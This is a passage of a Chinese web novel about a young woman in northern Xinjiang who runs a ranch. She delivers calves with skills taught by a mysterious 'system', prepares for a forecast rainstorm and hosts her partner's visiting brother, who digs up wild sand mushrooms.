看着母牛一会儿卧在地上，一会儿又爬起来，还不停回头看腹部的模样姚新泉也知道它肯定难受得不行。 “我摸着像是头颈侧弯，你摸摸试试？” 姚新泉接过手套摸了摸后点了点头，她想了想，“我看它虽然难受，但是精力还行，先让它爬坡试试吧？” 艾力想了想后也点头，“先试试吧，上坡！” 师月江过来的时候正看到两人要出来，好奇地问道，“这是做什么？” 姚新泉跟他讲了之后他虽然好奇但还是请缨，“你们都消毒了，我去吧，稍等会儿啊！” 艾力看着师月江跑走的背影没忍住笑了下，“小伙子人不错，他哥看着也不难相处。” 他刚才来的时候在门口遇到了师星野，虽然没见过，但是师星野跟师月江是双胞胎，长相相似度有80%，他一眼就认出来了。 因为来往习惯了，再加上知道白天家里的狗都出去放羊了，所以艾力自己打开插销带着师星野进来。 两人聊了几句，虽然不知道师星野是做什么的，但是看他那身笔挺的西装就知道绝对不便宜。本来他还有些露怯，但人家全程客客气气的，反正相处起来还挺舒服的。 现在知道人家忙也不添乱，艾力就觉得别的不说，挺知情识趣的！ 师月江没一会儿就推着小推车进来了，他把砖头倒在地上，按照两人的指导垒了一个靠着墙的上坡，上面放上木板垫着。 姚新泉引着母牛缓缓走上去，倒也没驱赶，它不愿意的话就不勉强了。 看出师月江的好奇了，艾力在一边解释，“爬坡可以让胎儿后退，便于矫正头颈侧弯”，不过这种也只能适用于轻度的侧弯，如果完全卡死了，那可不是爬个坡就成的。 师月江点了点头，目不转睛地看着姚新泉引着牛往上缓慢移动，再缓缓往下退，持续了三轮后姚新泉又戴上手套探了探，随后表情有些无奈地跟艾力摇了摇头，“不能走了，牛没力气了，而且效果不大，不过宫缩比刚才强了一些。” 爬坡这个事情不能勉强的，如果牛本身不愿意或者身体有承受不了的迹象，那是绝对不能再坚持的。 艾力也叹气，姚新泉摸了摸小牛的头又打起精神来，“之前灌了补气血的药，我再给它开一副催产的药”，师月江非常上道地接过药方去抓药了。 姚新泉这里倒没有一个专门的药柜，但是她已经把常用的或者可能用到的药备下了，上面还贴了条，师月江自己也能抓，只是称药会麻烦一点。 她又看向艾力，“得尝试调整胎位了”，她是真的不想给牛做剖腹产，这种愈后很麻烦的，术后死亡的可能性太大了，她不想尝试。 艾力愁眉苦脸的，“我干了这么多年，也就调整成功过一次，我有点担心……” 他这一手也是自己琢磨的，真不敢打包票啊！ 姚新泉嗯了一声脸上没什么表情，“没事儿，我会！” 艾力瞪大了眼睛，“新泉，你在外面学的兽医吧？” 姚新泉失笑，可随即又叹了口气，如今好医生都难得，更别说好的兽医了。 艾力的医术就是治疗一般的病症没有任何问题，但是遇到疑难杂症就很难应对的，要不是有系统，她也不可能学到这些的。 姚新泉深吸了一口气，再次做了消毒后让艾力往产道里注入半罐子蜂蜜，加起来有快500ml了，她五指并拢呈锥形探入产道，闭着眼睛细细感受两只牛犊的位置后，小心找到头颈侧弯的小家伙后，再确定另一只牛犊不会干扰到他们的位置后，随着母牛的努责，在母牛宫缩间歇时用手心抵着小牛犊的肩膀缓缓向母牛子宫里推进。 母牛不舒服想要反抗，姚新泉赶紧用空着的一 只手安抚它，“别着急，别着急，我在帮你调整位置，咱们争取自己顺产好吗？” 治愈术今天还没用，但是姚新泉打算等一等，这才刚开始，后面还有将近80头，谁知道会不会有更严重的情况？谁也没说单胎的就不危险啊！ 能尝试靠自己的情况下她还是优先靠自己。 她掌心用力，不敢在指尖使劲儿，也不敢用手指去抓小牛犊。她的力气本身就大，她也担心要是用力太过，万一伤到小牛犊就不好了。 她缓缓用力，慢慢慢慢得小牛犊在回退，等感觉大概退了有七八厘米了这才停下。 她大拇指伸到这头小牛犊的嘴里，其他几根手指扣住小牛犊的下颌骨，缓缓向对侧上方提拉，“我这只手消毒”，她伸着手，艾力赶忙给她倒高锰酸钾。 姚新泉又探入一只手，小心托住小牛犊的脖颈，在颈部施加反向压力，最终调整到鼻端朝向产道，确认两前肢对称伸直。 “正了正了！”艾力透过姚新泉胳膊的间隙看到小牛犊的鼻子后激动地低声喊了起来。 “绳子”，没等艾力拿，师月江便递过来一根煮沸过又泡过碘伏的，他无辜地朝姚新泉笑了笑，“实在好奇没忍住过来看了看。” 姚新泉勾了勾嘴唇，脸上的笑容很是自信，刚才还不好说，现在位置都调整过来了，再牵引一下，这一头就能出来！ 她用绳子套住小牛犊的前肢，跟母牛同步牵引。 艾力看着这一幕神情有些怔忪，“她牵引也做的比我好啊！” 师月江用力点头，“特别棒！” 第104章 胎位不正的一头小牛犊接生下来后事情就简单多了,艾力在一旁给小牛犊清理口鼻，姚新泉再次牵引，没过多久第二头也顺利出生。 “两头公的！”姚新泉松了一口气,还好不是一公一母。 艾力把这一头也清理好放到母牛身边去,站起来锤了锤腰,“老了老了不行了,你看你这催产药都没下就牵引出来了。” 姚新泉笑笑没说话,两人又开始检查已经生了的这几头,有两头的胞衣已经下来，母牛吃了，剩下几头还得盯着。 “时间不早了先吃个饭？”师月江看了下手表这才发现都已经两点多了，“我早晨发了面,过会儿烤个饼子,随便炒个菜”,想到什么他又看向艾力，“我去山下给你买点儿？” 艾力失笑，“行了行了不讲究那么多了,你只要别给我做大肉的就成！” 姚新泉把手套取下来拎在手上,确认了一下那边的牛目前还没有要生的迹象后这才放下心来，“你哥呢？” “他虽然没说,但我估计是加了好几天的班才调整出了一个假期来看我,也累了,前面我去看还在睡呢！”师月江没办法不心疼,他哥为了他付出太多了！ 他爸妈都不是很负责人的人，他爸因为当初自己嘴上没个把门的惹了事儿之后在家里其实是心虚的，可他又自恃是一家之主，不能直不起腰来,所以更是摆出了一副说一不二的模样来，在家里瞧不上这个瞧不上那个的，自己日子都不好好过，更别说关心他们哥俩的。 他妈的话其实也是个苦命人，但她的不幸不是他们哥俩造成的，可在她心里好像觉得没了他们哥俩她就一定能过另一种日子一样，对他们不至于怨恨，但也没那个闲功夫去关心的。 哥俩从小就只能报团取暖。 但师月江不觉得自己缺少爱，父爱母爱对他来说都没有哥哥给的多！ 姚新泉看他那样子有些好笑，平时师月江在她面前更多的是自己靠谱稳重的一面，可遇到哥哥了似乎也多了些孩子在家长面前的模样了。 师月江也注意到了姚新泉的目光，他不好意思地笑了笑。 “回来了啊？”师星野看到几人过来出来打招呼，师月江见他还穿的这么板正才反应过来不对，“哥你跟我回去换身舒服点儿的？” 他哥的西装虽然是定制的，死贵死贵的，但就是因为修身就是因为看上去有气势，所以整个人都是挺拔的，哪怕习惯了其实也累。 师星野点了点头跟着他回去了，姚新泉也懒得进屋，在门口一坐朝艾力抬了抬下巴，“洗手间在那边，你去收拾一下吧？” 等师月江出来时就看到姚新泉坐在回廊下面耷拉着个脑袋，师月江过去拍了拍她的头发，声音很是温柔，“怎么了，太累了是吗？” 姚新泉靠在他身上嗯了一声，“脑子疼”，她DuangDuang往师月江身上撞，师月江好笑地推开她，“我给你按按？” 姚新泉笑着躲过去，抬头看他，“不用，你去做饭吧，我就是困得慌，再加上一直提着劲儿，歇一会儿就好了。” 从昨天半夜到现在，虽然说她跟师月江两人靠在一起歇了一会儿，但是睡得又不沉，再加上到现在整个人都绷紧的，生怕牛牛们有什么突发状况，所以是真的累。 而且别觉得这事儿简单，手伸到人家牛肚子里，这事儿如果不是姚新泉在系统里模拟过许多回了，那种触感她都难以忍受好嘛！ “那你先坐一会儿我去烤饼子？” 姚新泉点了点头，没一会儿就见师月江给她跑了一杯红枣茶来，“本来想给你泡蜂蜜水的”，姚新泉哈哈一笑，“幸好你没给我泡蜂蜜水，我短期内是不想喝蜂蜜水了。” 蜂蜜的清甜跟血腥味还有羊水的味道以及牲畜身上的味道混在一起，现在想起来姚新泉都觉得头晕犯恶心。 师月江又拍了拍她的头顶回去做饭，没一会儿感觉到身边有人坐下了，姚新泉看了过去。 “你跟月江真的挺像的，个头也差不多”，师月江的衣服穿在师星野身上倒是刚好。 “他瘦了好多，之前膀子比我粗一圈”，师星野双手撑在地板上往后靠，目光看着牧场。 “草原美吗？” 师星野嗯了一声，“我之前因为工作原因来过新省，但是没停留太久，而且也是在城市里，倒没太清晰的印象，可站在这里看着外面青翠的草地，天空、白云，还有远方的树跟雪山，无一处不美。” 姚新泉笑了笑没说话。 “其实我一直欠你一句谢谢的”，听到这话姚新泉转过头来看了师星野一眼，不过不等他继续说话姚新泉便打断了，“因为月江吗？不用的，如果要感谢，那我一样要感谢他在那个冬天来到我身边。” 师星野也笑了，两人没再说话。 进入六月的北疆中午还是很热的，太阳似乎把空气都烤的变形了，但在屋檐下太阳直射不到的地方，却竟然也能感受到几丝清凉。 艾力洗完后看着两人坐在那里有些好奇，也坐了下来朝两人目光落到的地方望去，啥也没瞧见。 他懒得理两人，刚想起身就看到后门一只大猫缓缓走了出来。 艾力打了个寒颤，没忍住拽了姚新泉一下，“你管管你家猫，我每次见它都害怕。” 就算是见了许多次，可是那种大型野生动物缓缓从远处走来的压迫感还是让他头皮发麻啊！ “莱尼，到大伯这来！”师星野朝莱尼拍了拍手，莱尼小跑过来窝在了师星野的怀里，师星野没忍住在大猫头上么么两下。 “乖莱尼，大伯好久没见你了，你想不想大伯啊？”他又么么两下，捧着莱尼的脸感慨，“莱尼长大了啊，身上也有肉肉了是吧！我们莱尼成大姑娘了是吧！” 艾力目瞪口呆地看着师星野从一个矜贵的精英变成了一位亲亲怪，姚新泉也笑，不过能理解啦！ 谁能抗拒大猫的魅力呢！ 姚新泉跑去把脸上脖子上胳膊上都洗了，顺便换了件衣服，这才觉得松了口气，身上总算没有那么多怪味了！ 师月江一个锅里烙着饼子，另一个锅里正烧着茄子，他把凉拌的西红柿跟炒好的韭菜鸡蛋端上去，又捞了点儿泡的包菜，“锅里还有个红烧茄子，稍等会儿就成了。” 师星野看着师月江的目光很是诧异，姚新泉看到后不禁心想，别是觉得我虐待你弟了，才让你弟一个二十来年没做过饭的人在短短几个月内就成厨神了吧！ 似乎是感觉到姚新泉的目光了，师月江无奈地掰了块儿饼子塞在她手里。 “你的手艺？月江你可以啊！”师星野倒没觉得有什么，反而有点激动，自己有生之年竟然能吃上弟弟做的饭了？ 师月江有点尴尬，把剩下大半个饼子给他俩一人一半，“我也就瞎做，家里现在没啥肉”，看到师星野的目光他赶忙解释 ，“我俩这两天没时间下山买肉，自家的除了几头留种的公羊之外别的基本全是母的还都怀孕了，所以只能买着吃了！” 师星野早就逛过厨房和客厅了，有什么没什么他心里都清楚得很，见状便也只是点了点头。 他倒也没瞎想觉得弟弟生活条件不行，全国有多少人家是能顿顿吃得起肉的？他也不是没过过苦日子的人，不会说那种何不食肉糜的话！ “哥还有艾力大夫你们尝尝家里的菜，除了鸡蛋是买的，这几个菜都是家里的，新泉种菜特别好吃！” 他把茄子放在桌子上，表情与有荣焉，看的师星野好笑不已。可真吃了一口韭菜后才发现原来师月江所言不虚啊！ “哥你没口福吧！” 师星野还真点了点头，“你这菜的品质比那些几星几星饭店里的也不差了！” “现在西红柿红的不是特别多，大哥你喜欢可以去挑红的摘，等回头熟的多了让月江给你摘上几箱子空运过去。” 主要他家有这个条件，空运菜算什么？ 师星野点了点头，心里还挺高兴的，他跟航空公司的关系托运点儿西红柿算什么？ 艾力在一旁听得眼睛都瞪大了，他都没坐过飞机呢，西红柿就要坐飞机了？ 老天爷，这小师家的条件这么好呢？ “大哥，回头让月江带你去转转？”姚新泉问，人家大老远来一趟也不能真就不管了，不曾想师星野自己倒是先拒绝了，“没事儿，你们忙你们的，我就晒晒太阳，逛一逛也挺好的！” 他是想出来歇一歇，也看看弟弟，又不是想去哪里转一转玩一玩，他要是歇够了回去赚钱不好吗？ “也就是现在河水不太好，不然的话大哥你去钓钓鱼也挺好的呢！”姚新泉有些遗憾，师星野听了后也觉得遗憾，不过转念一想倒也无所谓，弟弟跟小姚在这里，自己不说来的多频繁，但是一年两三次还是会的，早晚有机会！ 第105章 几人吃完饭后师星野自己说在牧场上转转,姚新泉想了想把皮皮和平安给他叫来了，“家里狗狗们都有活儿，这两个小家伙闲着呢,让他们陪大哥玩吧！” 师星野失笑,他试探性地摸了摸皮皮的鬃毛,皮皮歪着头不让他摸,躲开后又探着头来啃他的手,倒也没用力,就是…… 师星野看着自己一手的口水有些懵，姚新泉尴尬地拍了下皮皮的屁股，“这孩子就是淘，倒没有真咬！” 师月江看着他哥这样也忍不住笑,他摸了下平安,又跟师星野炫耀,“哥你看不出来平安的腿受过伤吧？” 平安像是听懂了一样把腿探了出来，表情高贵凛然不可侵犯，师星野这下是真没忍住哈哈笑了出来,“小姚你这医术厉害,家里养的小动物也有趣啊！” 她也没想到平安怎么也被皮皮带的淘成这样，尴尬地挠了挠头,“那什么,他们跟大哥你亲近！” 师星野摸了摸平安的耳朵,眼中满是笑意,“行了，你们自个儿忙去吧，我自己到处转转！” 家里几匹马里面，三匹哈萨克马稍微大一点,不过姚新泉也没让它们驮重物，顶多就是载一车水，还是两匹马轮换。 另一匹伊犁马没有皮皮这么灵，但也身板也不错，不过它不喜欢跟皮皮他们玩，它总是自个儿要么跟着羊群要么跟着牛群。 皮皮年龄小，姚新泉除了特殊情况都没骑过，平安更别说了，还在恢复期呢！ 所以算下来，这么大的牧场，家里竟然没有一匹能骑的马！ “回头咱们得搞两匹马回来，像你哥这样的在牧场上骑骑马也挺好的！” 师月江点了点头够，不过心里倒觉得无所谓，没必要特意去做什么，他哥也不是一个需要人时刻关心照顾的性子。按师月江对他的理解，他自己在牧场上骑着摩托车逛两圈对他来说就算不错的消遣了。 他哥可没那么爱运动。 师星野骑着摩托车走了，姚新泉三人又去了牛棚，没一会儿那几头牛的胎盘便都脱落了，姚新泉松了口气，要是没脱落还得用药。 三人又熬了一下午，见姚新泉一个呵欠一个呵欠打个不停，师月江和艾力都看不下去了，“行了行了我还在这呢，只要不是难产太厉害的，我自己都能搞定，你去歇一会儿吧！” 她家这一批搞不好得生个四五天，总不能每天都熬着吧！ 牛撑得住，人都撑不住啊！ 姚新泉点了点头，回去稍微洗漱了一下倒头就睡，师月江趁着暂时还忙得过来赶忙去运了一波水，刚好看到不少沙葱他弄了些回来打算晚上炒鸡蛋，又去摘了点蔬菜回来，不能陪他哥出去玩，至少给人家做两顿好饭！ 另一边张运秋心里总是记挂着姚新泉这边的事情，他大概知道是谁，可他们跟姚新泉有什么矛盾呢？ 说难听一点，那群小混混就算想搞三搞四的，那也是在他们这些开店的人面前闹腾，姚新泉老老实实养殖，咋会跟他们产生交集？ 可这群人又是最烦人的，不讲道义，又没脑子，最容易干些冲动的事情，张运秋可不希望姚新泉惹上这群人啊！ 万一他们头脑一发热，冲去牧场放把火…… 这已经好多天都没下雨了，她那牧场那么大，着火了他们也未必能第一时间发现啊！ 想到这里张运秋更慌了，来店里午休的苏永华看得头疼，“老张你痔疮犯了是吧，在那扭什么扭？” 张新康看了过来，张运秋脸都涨红了，“你别跟我胡说八道，我什么时候有痔疮了？” 张新康眼神诡异地看了他一眼，气得张运秋指着他骂，“你是学好了是吧？你期末能考你们班第一嘛？” 张新康翻了个白眼不想理莫名其妙发火的爸，找了个借口就溜走了。 这事儿也不好跟他们说，张运秋也怕他们担心，只能自己想了想办法拐弯抹角去打听了。 师月江不知道张运秋在帮忙打听，他打了几个电话后便把这事儿放在脑后了，他没那个时间和经历亲自去查，可不代表会当做什么都没发生过！ 这事儿按下不表，姚新泉睡了半天醒来，经系统提示这才有功夫看系统的天气预报，这一看眉头就皱了起来，“三天后有雨？” 这两天她没顾得上看，“这可就麻烦了，到时候家里牛都未必能生完啊！” “友情提示宿主哦，注意一下雨量！” 系统突然出声倒是吓了姚新泉一跳，她赶忙看了一下，“雨强30毫米，持续6小时往上？” 姚新泉皱眉，“这算是大雨吗？” “雨强8毫米持续六个小时已经算大雨了！” 姚新泉抿了抿唇，问题大了，已经不是她一家的问题了。 姚新泉想了想后还是给高勇打了个电话，那头高勇听到姚新泉的声音后便笑了起来，“你可是个大忙人啊，怎么有空给我打电话？” 两人寒暄了几句后姚新泉表明来意，“高局，咱们县的天气预报有说这几天会下雨吗？” 高勇虽然不明所以但还是叫了秘书进来问过后才回她，“我问了，说是大后天可能有小雨，怎么了？” 姚新泉心里纠结，可却不得不说，万一真的下了大暴雨的话，这边多山，无论是雪水还是雨水汇合后是有可能发生山洪的！ “那什么，就是我之前跟我爸妈学着看了看天气，我觉得大后天的雨可能不是小雨，是大雨甚至暴雨。” 高勇先是一愣随即又笑了，“小姚你这真能吓唬人，逗你叔呢？” 姚新泉叹气，“我真没开玩笑，我主要是想着提前提醒一下，也总比一点准备不做要好吧！” 她也不想这样啊，看起来跟忽悠人一样，可是有什么办法呢？她又不是真的会看天气？ 但是有一说一， 从去年遇到系统开始到现在也快一年了，系统还没有出错过，她不得不信。 挂了姚新泉的电话后高勇越想越头疼，“这个小姚真是给我找了个大麻烦啊！” 这说不说呢？不说的话万一真下了大暴雨，人民和财产都产生损失，到时候他有没有责任呢？就算别人不知道，他自己心里就过意得去吗？ 可如果说呢？难道说他也跟姚新泉一样，说是老乡看出来的？ 姚新泉不知道高勇的纠结，或者虽然压力没有消失，但是压力转移了呀！ 姚新泉收拾了下就去了牛棚，发现在自己睡觉期间艾力给两头小牛接生了。 师月江凑过去看了看小牛犊，又给牛摸了摸脉后朝他比了个大拇指，“处理得特别好！” 艾力笑了起来，提着的心也放下了。也不知道从什么时候开始，好像姚新泉的医术在他心里已经远远高于自己了…… “过两天可能会下大雨，甚至是大暴雨的那种，你看要不跟你哥说一下让他回去？”姚新泉凑到了师月江的身边问。 如果真下了大暴雨的话，就算当天雨停，这事情也不可能当天了！ 雨一大航班那是肯定要停的，火车之类的也有可能受影响，再说了，她实在不太想象得到师星野去坐上七八十个小时的火车是什么模样！ 师月江眉头皱了起来，“确定吗？” 姚新泉没有回避他的目光，很是肯定地点了点头，“我很确定。” “那等我回去跟他说一声，不过咱们牧场上是不是就麻烦大了？” 姚新泉叹气，“全都要圈养，饲料是个问题，不过之前咱们割过一批麦草，不至于没得吃，主要是防生病啊！” 家里这要么是孕妇要么是产妇，要么是幼崽，在极端天气下每个都很危险。 “我得检查下咱们这些牛棚羊圈的防水情况，咱们家房子才盖没多久应该没什么问题，还得下山去囤一波的食物”，想了想都觉得头疼，“水电都有可能受影响，我去多买几个那种大油桶回来装水，再买点柴油回来，家里有发电机，万一真断电了还能救急！” 姚新泉不是个无的放矢的人，也不会拿这么大的事情开玩笑，他不得不做最坏的打算！ “山下的人都知道了吗？” 姚新泉摇了摇头，“我跟高局说了，他应该会提前做准备的”，高勇那个人谨慎归谨慎，但是在该有魄力的时候他也很是敢做事的，所以姚新泉觉得对方应该是会向上面反应这个事情。 当然了反应之后上面重不重视就不是她能考虑的了！ 姚新泉还没交代完就被艾力叫了过去，又有小牛要生了。师月江见状跟他们打了声招呼便下山，得赶紧去买东西，还得顺便跟姚新泉那几个亲戚家里讲一声，最好提前有个准备。 如果真有暴雨的话，未必不会影响到他们的生活。短时间内降雨量太大，排水系统罢工，土壤也没办法吸收那么多水，到时候城市里都可能会内涝的！ 虽然师月江没觉得会严重到这种程度，但是有些事至少要提前做好准备的！ 第106章 姚新泉把情况跟艾力也说了一遍,对方闻言皱起了眉头，倒也不是不相信，就是因为太相信了才会担忧。 姚新泉不是那种胡说八道的孩子。 “没事儿,你先去跟牧民们透个底,相不相信的随他们”,姚新泉虽然知道自己的系统很靠谱,但是别人不知道啊！ 在别人看来就是天气预报都没确认的东西,你一个二十啷当的小丫头片子怎么确定的？ 别说什么父母教的,那怎么她父母活着的时候没传出什么风声来？ 见艾力犹豫，姚新泉心里暖暖的，她拍了拍艾力的肩膀，“你别这么大的压力,我虽然还不算很成熟老道的兽医,但是该懂的我差不多也懂了,后面的都是单胎，难产的概率不算大，顺产的话我自己能行”。 如果难产的话,她叹了口气,“一般的难产咱俩能处理，但如果真到了要剖腹产的情况,你就算在这,咱俩也只是死马当活马医而已！” 艾力叹了口气,可不是吗！ 别说她这边也没什么手术工具,就算有，那无菌的环境呢？药物呢？设备呢？ 总不能给人肚子上剌个大口子，连一点监测身体的设备都没有就硬剌吧？ 反正他是不敢的。 “要真到了那一步，还不如送走少受点罪呢！”艾力叹气,虽然这样说有点矫情，他们救治这些牲畜好像就是为了将来让它们被宰掉卖钱，但是就算最终目的是这样，在过程中他们还是希望能减少动物的痛苦的。 生命是需要得到应有的尊重的。 姚新泉也叹气，系统确实教了她许多，但是医学这门学科不是说是她有点天赋或者知道了基本的一些医疗知识就够的。 系统是西医和中医都教了的，相对来说姚新泉觉得自己在中医方面好像更有天赋一些，所以重心也更多的是放在了中医方面的教学上。不过这也跟用药有关系，中医需要的药在中药店就能买得到，可西医需要的却不是市面上能随便买到的，他们兽医站好多也是上面发的。 当然了，西医也有学，基本的手术也跟过几台，但动刀子的事情哪有这么简单啊！ 更何况从心底里讲，其实姚新泉是有些畏惧给牲畜下刀子的，不止这个，如非必要，她甚至都不想伸手去牛肚子里牵引牛犊，那种触感真的不是很好。 但没办法，有些事情总得克服！ 想到这里她叹了口气，又把话题转了回来，“没事儿，你先去忙，该通知到位的你去通知了，至于他们信不信这也没办法！” 倒不是说艾力的工作范围这么广，只是事前能做好防护的话，事后就不至于说是有太多动物病重需要他治疗了，他就一个人，能治得了多少？ 艾力虽然有些迟疑，但最终还是点了点头，脸上很是不好意思，“我都没帮上什么忙？” 姚新泉嗔了他一眼，“难不成我还非要你在我家牛肚子上剌点儿口子走才不算白来？之前那头难产的不是咱俩救回来的？” 不想跟他争这个了，“行了，你赶紧去吧，人家要是真不信你也别勉强。” 艾力无奈叹气，“我一把年纪的人了，还用你教？” 他不算多精明的人，但也知道，人是要对自己负责的，他不会大包大揽去做别人的主，他没那个能耐，也没那个心力。 师月江回来的时候艾力已经走了，姚新泉正在处理一头小牛犊的问题也没顾得上理他。 就见姚新泉把小牛犊的后腿抬高，然后轻轻摇晃并且拍打牛犊的胸部，想让羊水受重力影响流出来。 她也不敢太用力，她的力气本来就比一般人要大，如果太用力，万一搞个肋骨或者胸骨骨折那就完蛋了。 她把搭在膝盖上的一条干净毛巾拿了过来绕在了手指上，轻轻探入牛犊的嘴里去清理羊水。 她还捡起一根稻草在小牛犊的鼻子处打转，还探入鼻孔，师月江看着都觉得难受。 果不其然，小牛犊也受不了刺激，一个喷嚏便打了出来，也带出了不少的羊水。 见小牛连着打了好几个喷嚏后这才平复下来，姚新泉贴近小牛犊的胸腔听了听，确认没有什么杂音了，精神也好了起来这才把小牛犊送到着急的牛妈妈身边，牛妈妈赶紧舔了起来。 姚新泉缓缓呼出口气站起身来，看见师月江后笑道，“回来了啊！” 师月江点头，示意她过来，然后拿手帕把她脸上跟耳朵上沾的脏东西都擦掉，“艾力大夫回去了？” 姚新泉点了点头，“去通知下其他人，信不信咱们不管，能出一份力也是好的。” “米面油调料我都准备了不少，这东西也不至于放坏”，师月江开始跟她说自己的安排，“我还买了两个手电筒跟好几个备用电池”。 姚家很久以前有手电筒，但坏了。后来牛圈羊圈里都安了灯，所以家里一直就没买，师月江早就发现了，这次趁机一起给买上。 “菜的话，这两天我把地里的收一波，雨如果下的太大了，地里的未必还能留住”，师月江叹气，他还有点舍不得呢！ 从平反回城后他就再没亲手种过地了，突然从播种、施肥全部都是自己上手得这样来一遍，心里感觉还是很不一样的！ 姚新泉听了他的想法后忍不住笑了起来，“你这就是城里人的想法，我们农村人要是听说菜地里的菜要被雨淋坏了觉得可惜，是觉得浪费了东西。你们城里人觉得可惜是觉得自己亲手种的劳动果实没怎么享受到！” 师月江耸了耸肩，他没觉得有什么不同，反正都是心痛！ 心超痛！他那红彤彤的沙瓤西红柿！ “对了，我还去跟小姑二叔还有小姨他们讲了，会不会有那么大的影响不好说，反正是个心意。” 师月江又跟她聊了几句这才回去做饭。 另一边师星野骑车到了一片沙土地，远远看过来颜色就不大一样，近看后发现地上草都没几根。 本来想骑着车继续往前走的，不想皮皮突然停了下来，又是拿嘴在地里拱又是拿蹄子刨的。 师星野有些奇怪，他把摩托车停在了一边，“这地里是有什么东西吗？” 平安也停在了一处用鼻子拱了下，不过他倒不像是想要亲自挖出来，倒更像是给师星野指了个位置。 师星野过去看了看，就见沙土地表面上有些裂纹，就像，就像，“这土底下有东西冒出来是吧？” 师星野如梦初醒，他顺着皮皮挖的地方往下继续，也就又挖了两三厘米吧就感觉到底下确实有东西，他眼睛一亮也来了兴致，小心翼翼拨开土层后仔细瞧了瞧，“这是，蘑菇吗？” 白色的，长在土里的蘑菇？ 师星野又往下挖了挖，然后抓着伞盖稍一用力就听“啵”的一声，蘑菇被拔了出来。 白白嫩嫩的完全不像是土里长出来的东西啊！ 他正想好好看看，脑袋边上就有一股热气凑了上来，他不适地往后缩了缩脖子，下一秒就感觉到手上一轻。 蘑菇被皮皮叼走了！ 师星野都气笑了，点了点皮皮的大头，真是个大馋丫头啊！ 他又在坑里摸了摸，确定没有后想了想把土又盖了回去，然后到了平安身边，等把平安面前的蘑菇挖出来后他看了看平安，试探性地问，“你想吃吗？” 平安睁着水汪汪的大眼睛看着他，师星野感觉自己隐约看到平安点头了，他瞪大了眼睛，忍不住看向手中的蘑菇，这是什么会让人产生幻觉的蘑菇吗？可他还没吃啊？ 可再看的时候就见平安确实只是乖乖歪着头看他，似乎在等他投喂。 师星野心里嘀咕了半天，可手上还是很诚实地把蘑菇递了过去，平安小心叼过来没有碰到他的手，看得师星野心都化了。 要不自己也养上两匹马放到弟妹的牧场上吧！到时候自己有时间过来也能陪它玩玩？ 他手上动作没停，在这个坑里又挖出了几朵蘑菇，“可不是我非要喂你们吃或者让你们试毒的啊？” 师星野感觉自己来到这种旷野之后大脑都不怎么工作了，他不应该考虑一下这种野生的蘑菇有没有毒吗？万一自己挖出来的蘑菇，两个小家伙吃了中毒了，那弟妹不得气死啊？ 他有些忐忑地看着两个小家伙，可见它们没有任何异常又放下心来，“应该能吃吧？”他看了看手上才挖出来的蘑菇。 “应该还挺好吃的吧？”他把外套脱下来把地上的八九个蘑菇兜起来。 “算了，回去问一问吧，要是能吃，今天就让月江炒了！” 师月江是不知道师星野在想什么，他是北方人，比起吃米更喜欢吃面。再加上在南方那几年虽然条件不好，但比起米来面还是更难吃到的，所以从回去之后他基本没在家里吃过米，当然了，在外面吃米他也不至于说不愿意，只是没那么喜欢而已。 所以他还挺能适应这边的生活的，天天吃馕他也可以！ 烧了个红烧肉，又炒了个大盘鸡后还凉拌了个黄瓜跟蒲公英。 草原上其实蒲公英特别多，但是他们没时间去挖，也是刚才回来的时候注意到房屋后面又一大丛，还都没老，师月江赶紧都挖了回来，凉拌上了。 第107章 “看哥给你带什么来了！”师月江看到面前的衣服跟隐约能闻到的蘑菇味道,再看看他哥现在的模样以及手指甲缝里的泥，师月江有点沉默，他哥还挺活泼哈！ “我挖了点蘑菇,皮皮抢着要吃,我看她吃了没问题,平安想吃就也给平安吃了,应该没毒吧？” 师月江不大确定,但动物都是很聪明的,一般是不会主动去吃带毒的食物，皮皮更是机灵的不行，应该是不至于的。 “我去问问新泉，我来了之后还没吃过呢！” “问我什么？”姚新泉刚好洗了胳膊跟脸过来,听到后便问。 师月江递了个蘑菇过去给她看,“我哥挖的,说是皮皮跟平安都吃了也没问题。” 师星野眼神无奈，你倒是把我的话照搬原样复述一下也成啊！别到时候让小姚觉得是自己让小马试毒了！ 姚新泉才不会这么觉得呢！ 平安看着温和，但实际上性子很倔,皮皮就更别说了,那就不是个乖孩子，你给人家就会吃？ 他们自己选择要吃的不会有什么大问题。 她探头看了一眼更是放下心来,“这个啊,可以吃的！” 大师小师都松了口气,就听她又道,“这种蘑菇还挺好吃的，都是长在沙地里面的，你看一下没开伞，嫩的就能吃,炒个肉片或者就炒辣椒都成，好吃的！” 师月江接过蘑菇让师星野去洗手，师星野看了看自己指甲缝里的泥有些不好意思，自己是来放松的，但这也放得太松了！ 姚新泉蹲下来跟他一起处理蘑菇根部的泥，“回头看大哥喜欢吃的话，咱们到时候多去挖一些，反正我还挺喜欢吃的，就是没时间去。” 师月江看了她一眼，自己想吃没时间去挖，可却想着给自己哥哥寄一些，是为了什么，还不是为了自己？ 师月江心里甜甜的，“行，到时候你要是没时间的话我去挖也行。” “我刚拎了小半桶牛奶回来，是牛初乳，这牛初乳的营养成分比普通牛奶要好得多！” 牛初乳的富含免疫活性物质，还含有生长因子，蛋白质含量更高，乳糖含量更低，一些对孩子有益的微量元素也更多，总之很不错。 “我专门等着小牛犊都吃饱了才挤的，我还摸了摸他们的肚子，而且也都没挤空，那两头双胎的也没挤”，姚新泉可不想因为他们贪两口牛奶导致小牛犊的营养跟不上了。 “你回头煮一点，大哥要是能适应的话给他煮奶茶也行。” “我适应什么？”洗完手回来的师星野听到这话便问。 姚新泉跟他讲了讲，师星野心里一动，但现在也不是说这个的时候，不过他心里还是高兴的，这个弟妹不管是各方面都很好，但师星野最欣赏她的一点是她不会因为她的经济条件不如师月江而怯懦，更不会觉得自己的东西就是拿不出手的。 他们是平等的，是不需要讨好对方的。 虽然这话听着还挺怪的，但事实上从他生意做起来之后，师星野已经很久没有遇到这种很纯粹的相处了。 “那让月江煮奶茶！”师星野拍板，见两人把蘑菇收拾得差不多了便也没去插手，“小姚，牛怎么样了？” “一天加一晚上有十头母牛生了，还有75头也快了，估计就是这几天吧！” 师星野咂舌，听上去好像不多，但是一想今天见到的又是用绳子又是伸手的就知道不是个容易得活计啊！ “你也是辛苦啊！” 姚新泉笑着摇了摇头，“干自己想干的事情有什么苦不苦的？我之前在上海上班的时候还觉得苦呢！那时候就觉得看不到自己的价值，我好像在工作，但是我没办法去衡量我今天、我现在手头上做的事情到底有多大的意义。” “但现在不一样啊！我喂了饲料、我给它们治病，我出去放羊，我是能看到它们在长肉，能看到它们产羊羔牛犊，能看到仓库里被堆放起来的干草，感觉真是不一样的！” 